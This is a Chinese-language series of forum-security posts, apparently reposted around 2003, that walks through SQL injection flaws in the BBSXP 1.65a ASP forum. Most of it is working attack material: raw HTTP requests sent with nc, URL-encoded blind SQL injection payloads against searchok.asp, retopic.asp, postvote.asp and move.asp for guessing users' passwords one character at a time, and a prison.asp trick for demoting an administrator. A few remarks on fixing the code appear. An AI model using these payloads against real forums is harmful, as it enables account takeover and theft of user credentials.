寂寞的年代

searchok.asp中存在多处可以SQL Injection的问题，代码是这样的：... ...
forumid=Request("forumid")
... ...
if Request("forumid")<>"" then
forumidor="forumid="&forumid&" and"
end if
... ...
count=conn.execute("Select count(id)from forum where deltopic<>1 and
"&forumidor&" "&item&" "&TimeLimit&"")(0)
这其实是一个极其愚蠢的错误，我敢用我的背心打赌，要是有商业版它（们）绝对不敢这么 写！可是免费版就是免费版，像dvBBS一样，就算作者知道了漏洞，免费版的用户要想得到 补丁也是极其困难的事情。谁叫有商业用户呢，优先的当然不会是普通的网民，有那个的才 是娘嘛。
嗯，攻击一下。
要攻击的话还要看几个地方，说起来BBSXP虽然代码写得难看，但是还是有一些基本的防护
措施（尽管没用），现要绕开这些个形同虚设障碍才好办事情。先来分析一下有那些障碍，
代码是这样的：
<-- #include file="setup.asp" -->
if Request.Cookies("username")="" then
error("
您还还未登陆社区")
end if
if
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0 then
error("
来源错误")
end if
setup.asp中的防范很简单，只要你或者浏览器提交的cookie中username不包含空格和单引
号而且确实存在这个用户就可以了。上面的第一个if判断好像没有什么用，呵呵，第二个if
判断是要求引用来源与服务器相一致，也很容易办到。其实我们可以先看看浏览器是怎么提
交请求的，大部分情况下，都可以稍微改一下就用，而且最重要的，浏览器提交的正常数据
百分之百能够满足那些（作者认为的）苛刻条件，这将是一个非常好的参考。当然，如果你
发现浏览器提交的数据都不能通过代码中的检测条件，那只能说明编写这个的人脑壳坏掉了
。
抓浏览器提交的数据，只要一个NC就可以，而且我觉得脚本攻击的话，极端情况下也就只需
要一个NC，真是居家旅行，XXXX，必备XX啊。
先在自己的机器上配置好IIS和BBSXP，注册一个ID登陆进去，然后转到search.asp，搜索栏
里面随便填一个1吧，然后我们开始抓提交的数据了。现在把Internet信息服务中的你使用
的站点停止，在cmd中用NC监听80口（nc -l -p 80），回到浏览器上面，轻轻按一下回车键
，OK，NC那边数据已经出来了，我的是这样的。
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 108
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&subm
it1=%BF%AA%CA%BC%CB%D1%CB%F7
如果想知道每一行代表什么意思，请找参考书，这里不会一一介绍的。我们只看重要的：
Referer: http://localhost/BBSXP/search.asp
这个值一定要包含对方服务器的名字，比如我是在本机上测试的，就要有localhost，如果
你在www.Yuzi.net上测试，一定要有www.Yuzi.net。这是因为要使得
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0这个条件不成立（见上面的代码）。
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
Cookie伪造就指的这个东西了，要是你乱填Cookie的值，就是Cookie伪造，呵呵！不过这里
该是什么就是什么，我们没有必要去作假的Cookie，username和userpass都填上你的真实资
料吧。
Content-Length: 108
这是POST过去的数据的长度，可能要你自己计算，但是可以把这个值稍微写大一点，并不影
响你提交的数据的内容，只是可能要多打几次回车。
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&subm
it1=%BF%AA%CA%BC%CB%D1%CB%F7
这就是本次的最重要的内容，POST过去的数据。按照上面对漏洞的理解，这里要修改的是
forumid的值，如果是MSSQL的话，方法是直接用冒号结束前一句然后注入你喜欢的SQL查询
或者是存储过程，这里就不多说了。因为大部分用的是ACCESS，只能制造畸形的查询条件来
猜测表的内容，这里做一个示范。记住，POST过去的东西，很多要先编码，比如空格要用
%20表示，不然会得不到预定结果的。我用的数据是这样的：
D:\>nc localhost 80
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 178
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=&forumid=1%20an
d%201=(select%20count(*)%20from%20user%20where%20left(userpass,1)="2"%20and%20us
ername="never")%20&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
看出来了吗，fourmid的值是
1 and 1=(select count(*) from user where left(userpass,1)="2" and
username="never")
呵呵，到这里就可以慢慢的来猜别人（这里是never）的密码了。手工猜在这里就很难办了
，最好是用perl写个小东东。
至于猜测成功与否的条件也是非常简单的，因为serachok.asp中判断Count=0（没有结果）
时，会出现“对不起，没有找到您要查询的内容”的字样，只要获得的数据中不出现这个，
那么几乎可以肯定猜对了。
嗯，写到这里发现这种东西写得一点创意都没有，不过那位问我判断
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0是否有用的朋友，我相信您肯定明白答案了吧。

BBSXP漏洞[倒着看二]
［ 作者：佚名 来源：来自 Internet 文章录入：STZY 时间:2003.08.12］
不得不说，这个BBSXP的缩进实在是混乱，前些天调试retopic.asp的时候，真是把我看得差
点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的，看得我头
皮发麻，两腿抽筋，最后幸亏editplus里面可以ctrl+]，不然真不知道最后要走多少弯路。
嗯，火死了……
retopic.asp行199开始是这样子写的，仍然用老夫的背心打赌，这种程度的漏洞，只有高中
生会犯，嘻嘻……
if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and
forumid="&Request("forumid")&""
rs.Open sql,Conn
end if
要一口咬定这个是漏洞，光乱说是不行的。这个地方，我测试了一下，确实有问题，如果大
家有时间，可以下一个1.65a版下来看看，很容易利用，当然，如果大家只对方法感兴趣的
话，往下面看吧。不过长时间不去思考，脑袋会退化的，:-)。
粗略一看，可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道，12行
到169行是一个大大的if语句，如果进入了这个条件的话，那么会被一个succeed()函数结束
掉，所以要绕开这个条件。我们还是从NC过去正常的提交着手，如果你不太清楚过程，请参
看这个系列的（一）。
GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.as...orumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39;
onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!;
addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
出错了，呵呵，返回来的数据有“非法操作”的字样。看看源代码，原来犯了一个错误，
forumid没有提交，马上改正！NC过去，提交如下数据：
GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.as...orumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39;
onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!;
addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
哈哈，注入成功了吧？只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提
交id和forumid来利用，也是同样的方法，就不继续说了。一句话，写一个perl程序比较好
，手工的话，呵呵……
其实还有一个简单的方法，用提交id和forumid来利用。先到对方的BBSXP注册登陆，这样浏
览器就记录了很多东西，我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对
，我们可以利用一下这一句话：
if Request("quote")=1 then
content =rs("content")
quote="
引用:
--------------------------------------------------------------------------------
原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&"
--------------------------------------------------------------------------------
"
end if
我们在提交的地址中包含quote，猜测得正确的话，就可以看到引用的文章，猜错的话，就
是500错误。例如：
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20us
er%20where%20username="never"%20and%20right(left(userpass,3),1)="c")&forumid=1"e
=1
这个注入的条件是真，也就是说never的密码第三位是c，返回的表单中包含了id为1的文章
的内容。如果我的猜测错误，比如这样子：
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20us
er%20where%20username="never"%20and%20right(left(userpass,3),1)="3")&forumid=1"e
=1
返回给浏览器的信息就出现了错误，我的机器上是
ADODB.Field 错误 "800a0bcd"
BOF 或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记
录。
/bbsxp/retopic.asp，行212
呵呵，这是很容易分辨的，而且也很容易实现注入。

顺便说几句话，如果BBSXP的人看到这里的话，强烈建议你们区分开request.form和
request.querystring，而不要图方便直接用request。至于原因，你们自己去想吧，呵呵！
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看三]
［ 作者：佚名 来源：来自 Internet 文章录入：STZY 时间:2003.08.12］
其实躺在床上看代码也是一件非常惬意的事情，特别是看那些写得很烂的东西时候，
你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后，尤其是在生病
后急需要调整心情的那段时间里，看BBSXP几乎成了我唯一的享受。
依然是BBSXP1.65a，依然是业余级别的代码和洞。
recycle.asp行16、17。这是一个要管理员或者社区区长才能利用漏洞，代码如下：
for each ho in request.form("id")
conn.execute("update [forum] set
deltopic=0,lasttime=now,content=content&"
［此帖子已
被 "&Request.Cookies("username")&" 在 "&now&" 还原过］" where id="&ho&"
and deltopic=1")
next
对于MSSQL版（如果地球上存在的话）的来说，这个的利用难度是零。但是对于
ACCESS版的要利用这个猜密码玩的话，难度是很大的，因为不好判断条件正确与否，姑且
就把这个洞的利用放掉吧。
prison.asp行28同样是一个要管理员或者社区区长才能利用漏洞，代码是这样的：
sql="select * from user where username=""&Request("username")&"""
我把这个洞称作愚蠢的，第一是因为幼稚的写法，第二是因为在这个尔虞我诈的社
会，你永远不知道同样身为管理员的他是否会在背后捅你一刀，轻率地写那些只有管理员
才有权访问的代码，同样会增加整个论坛的脆弱性。
一句老话，对于MSSQL版（如果地球上确实存在的话）的来说，这个的利用难度是零，
而对于准备猜密码的人来说，难度就像是让中国跳水队在一米板上做301B。
进入prison.asp，用户名上面填写的就是我们要注入的东西，理由随便。比如我们来
猜猜never的密码，当然，我自己是知道的密码的，这里只是假装不知道。
要填写的东西基本上就不用考虑，猜never的密码第一位最好的格式是这样：
select * from user where username="never" and right(left(userpass,1),1)
="x"
比较一下prison.asp第28行，简直就是量身定做，提交的用户名就这样就好了
never" and right(left(userpass,1),1)="x
never的密码第一位是1，我提交的不正确的话，比如提交的就是never" and right
(left(userpass,1),1)="2，那么BBSXP会傻乎乎的告诉我这个用户资料不存在，呵呵，
很显然，这个的查询结果是空，当然没有资料存在了。如果我猜的不是2而是1，回来的资
料就不太一样，这里never是社区社长，不能被关进监狱，因为这个查询结果正好就是
never，所以BBSXP告诉我们不能抓入监狱。当然，猜不同的人的密码情况可能不太一样，
反正如果返回结果是用户资料不存在，你就是猜错了，否则你就猜对了。
同样的洞在同样的文件中有很多个拷贝，我就不一一列举了，下面再说一个搞笑的漏
洞。
同样的文件，行71到89是这样的
if Request("menu")="release" then
sql="select * from user where username=""&Request.Cookies("username")&"""
rs.Open sql,Conn
if rs("membercode") < 4 then
error("
您的权限不够，无法释放犯人！")
end if
if Request.Cookies("userpass")<>rs("userpass") then
error("
您的密码错误")
end if
rs.close
conn.execute("update [user] set membercode=1 where username=""&Request
("username")&""")
conn.execute("delete from [prison] where username=""&Request("username")
&""")
response.redirect "prison.asp"
end if
我为什么要说怕别人在背后摆你一道呢，就是这里了。我要是管理员，我可以让任何
人进监狱！这里没有检查要释放的人是不是在监狱里面，我要是弄了一个不是在监狱里面
的人提交过去，马上就把他打为平民了，因为有这句话：
conn.execute("update [user] set membercode=1 where username=""&Request
("username")&""")
比如我是never，test是管理员，但是我很看不惯它这个小子。我登陆后在浏览器中
输入
http://localhost/bbsxp/prison.asp?menu=release&username=test
咔嚓，test变成平头老百姓了，然后我按照正常的手段就可以把他弄进监狱里面去。
哦，可怜的test，他还不知道世道如此险恶。
总而言之，这个论坛是极其搞笑的，任何的自夸之语只能授人以笑柄。什么叫“一般
你只要自己设置一下，不用升级我们的程序，你就可以永远排除这种漏洞”，我都不好意
思读出来，就是这样的论坛，这样的代码，就是猴子听了都会脸红。后面一个漏洞充分的
体现了编写者的思维混乱，我都不能说他们是外行，因为我身边的非计算机系DDMM们才大
一大二，他们都有严谨的思维方式，而且写出来的代码简洁有力，我怕这样说会伤了DDMM
们的心，他们才是真正的外行啊！BBSXP的人呢？你们算是什么呢？
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看四]
［ 作者：佚名 来源：来自 Internet 文章录入：STZY 时间:2003.08.12］
这段时间上网遇到朋友，问起关于BBSXP漏洞的问题，我淡淡地说，生病了，没有看。他说
，哦，最近到BBSXP看先生的漏洞文章都给删了，看来BBSXP对先生还是很深恶痛绝的，先生
还是写点什么吧。我说，哦，那我就写点什么吧。
我在生病之余还看了一本叫《重构》的影印本书，虽然是讲的java的重构，但是确实对所有
的语言都有启发的作用，对于BBSXP的代码形式，我不想多说，如果开发者有机会拜读一下
这本书的话，想必可以学到些什么。代码写得不好看不是什么丢人的事情，但改善了后必定
会让别人刮目相看。每次都会给BBSXP提些免费的建议，这次就废话这么多吧，身体不好，
打字很费体力。
postvote.asp有一段代码是这样子的，非常扎眼
sql="select * from forum where id="&Request("id")&""
rs.Open sql,Conn,1,3
有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析：

利用这个漏洞首先要有一个投票的项目，这个投票的项目可以是自己发的一个贴子，我们要
记录下这个贴字的id号，把鼠标移到标题上看浏览器的状态栏，或者直接点进去看浏览器的
地址栏都可以得到id，比如我在自己机器上测试的是id为2。
用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据，我抓到的数据是
这样的：
POST /bbsxp/postvote.asp?id=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
利用的话，只需要修改一点点东西，就是POST后面的路径和文件。因为注入是发生在id上的
，所以我们提交恶意的id就可以构造我们的查询条件了，比如我们猜test的密码第一位，是
1，当然，我们先猜一个2看看，这时候我们提交的id的值应该是
2 and 1=(select count(*) from user where username="test" and
right(left(userpass,1),1)="1
将所有的空格全部用%20代替（为什么？不要问我），就成了下面的样子（NC到对方的web口
）：
POST
/bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20us
ername="test"%20and%20right(left(userpass,1),1)="2") HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空，就是说我们猜错了。如
果我们猜对了的话，应该是这个：
POST
/bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20us
ername="test"%20and%20right(left(userpass,1),1)="1") HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 200 OK，不管其他是什么，这里肯定是猜对了。重复这个简单无聊的
过程，便可一位一位猜出密码来，有时间你可以慢慢写程序，或者是慢慢猜，但是可以肯定
的是，这种事情是毫无意义的。
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看五]
比如我们要找SQL Injection的漏洞，自然会到生成SQL查询语句的代码中去搜寻。一般来说
，满足两个条件的就可以：一、生成的SQL查询语句中包含我们提交的内容；二、提交的内
容没有过滤或者是过滤不完全，像1.65a版move.asp行22：
sql="select * from forum where ID="&ID&" and forumid="&forumid&""
里面有两个变量，都有可能满足上面的两个条件，往上看ID和forumid从何而来，行4、5：
ID=Request("ID")
forumid=Request("forumid")
都是用户提交的，满足第一个条件。当然还要看看是否满足第二个条件，行6、7、8：
if isnumeric(""&forumid&"") = flase then
error("
非法操作")
end if
这个是说forumid是检查了的，如果不是数字的话就会导致一个“非法操作”，但是我们看
到代码里面并没有对ID进行检查，这就满足第二个条件了。事实上VB对变量的类型不是特别
的严格，看起来ID好像应该是一个整型，但我们提交一个字符串型的ID也不会造成错误，真
是很遗憾啊。
依据数据库的类型，我们可以作出不同的攻击策略，如果是MSSQL，这是支持多语句查询的
，而且可以利用存储过程，相对来说简单一点；如果是ACCESS，最多就只能在一个库里面跨
表操作，且只支持单一语句查询，功能要弱一些，一般以猜测密码为最终的目的。其实对于
MSSQL进行攻击也是很有趣的，有时候也会要一些很巧妙的技巧，不过鉴于大部分BBSXP都是
用的ACCESS，就不讨论MSSQL下的攻击了。
我们先看这样一句查询语句：
select * from forum where id=1 and 1=(select count(*) from user) and forumid=1
执行这个就返回的结果来看，可以是空或者非空，关键在于where后面的条件。分开来看的
话，可以是三个条件的合取范式，抛开id=1和forumid=1，来看看中间的一个条件：
1=(select count(*) from user)
这个条件为真的话，整个范式就为真，也就是说查询后的返回集不为空，否则的话返回集就
是一个空集。这个条件是说user表里面的列项是否为1，由于我们可以获知返回集的空与非
空的情况，进一步就可以知道user表里面的列项是否为1了。一句话，上面的查询语句返回
结果为空，就是说user表里有1个列，否则user表里面列项就不为1。
这是很容易理解的，弄懂了这个，就可以构造条件来让对方回答是或者否了。猜谜码除了问
你的密码是不是xxxxxxx以外，还可以问你的密码第x位是不是x，你的密码是不是一共有x位
等等，我们就是这样猜出别人的密码的，打个比方，我们问，never的密码长度是不是7位啊
，条件就这样写：
1=(select count(*) from user where username="never" and len(userpass)=7)
要是猜对方的第a位密码是不是"x"，就这样构造条件：
1=(select count(*) from user where username="never" and
right(left(username,a),1)="x")
通过对方回答是还是不是就可以猜出来了。嗯，这仅仅是构造了条件，如果是完整的一个查
询语句的话，应该是这样，我们还是完整的写出来，虽然有点长：
select * from forum where id=1 and 1=(select count(*) from user where
username="never" and len(userpass)=7) and forumid=1
这是问never的密码长度是不是7位的查询语句，比较一下move.asp第22行的那个语句，看出
来id为什么的时候就成了上面一条了吗？
ID="1 and 1=(select count(*) from user where username="never" and
len(userpass)=7)"
forumid=1
于是我们又倒回来，只要提交上述的id和forumid值，不就可以慢慢的猜随便那个人的密码
了吗？
明白了道理，利用就简单了。按照对代码的分析，如果查询后的结果rs为空，后面调用了rs
的属性，一定会报错，如果rs不为空，那么一切正常。换句话说，猜对了的话，看到的就是
正常的信息，猜错了的话就会看到这样的错误：
"BOF 或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记
录。"
实战演练一下，随便以一个人登陆，然后在地址栏中键入：
http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user
where username="never" and len(userpass)=7)
哗，返回了一个空白页，看代码就可以看到上面的错误信息，也就是说密码不是7位。再猜
猜密码是不是9位。
http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user
where username="never" and len(userpass)=9)
哗，显示出来将帖子移动到什么地方的选项，没有错误信息，也就是说密码就是9位了。同
样，下面就应该来慢慢的猜每一位的密码，自己可以试试？

--------------------------------------------------------------------------------
以上是教人犯罪的行为,大家请勿模范!!!!出了事别找我!有事没事也别找我!我不是原作!嘎嘎!!!!请勿到处粘贴此文!!!!会引来不堪设想的后果!!!!!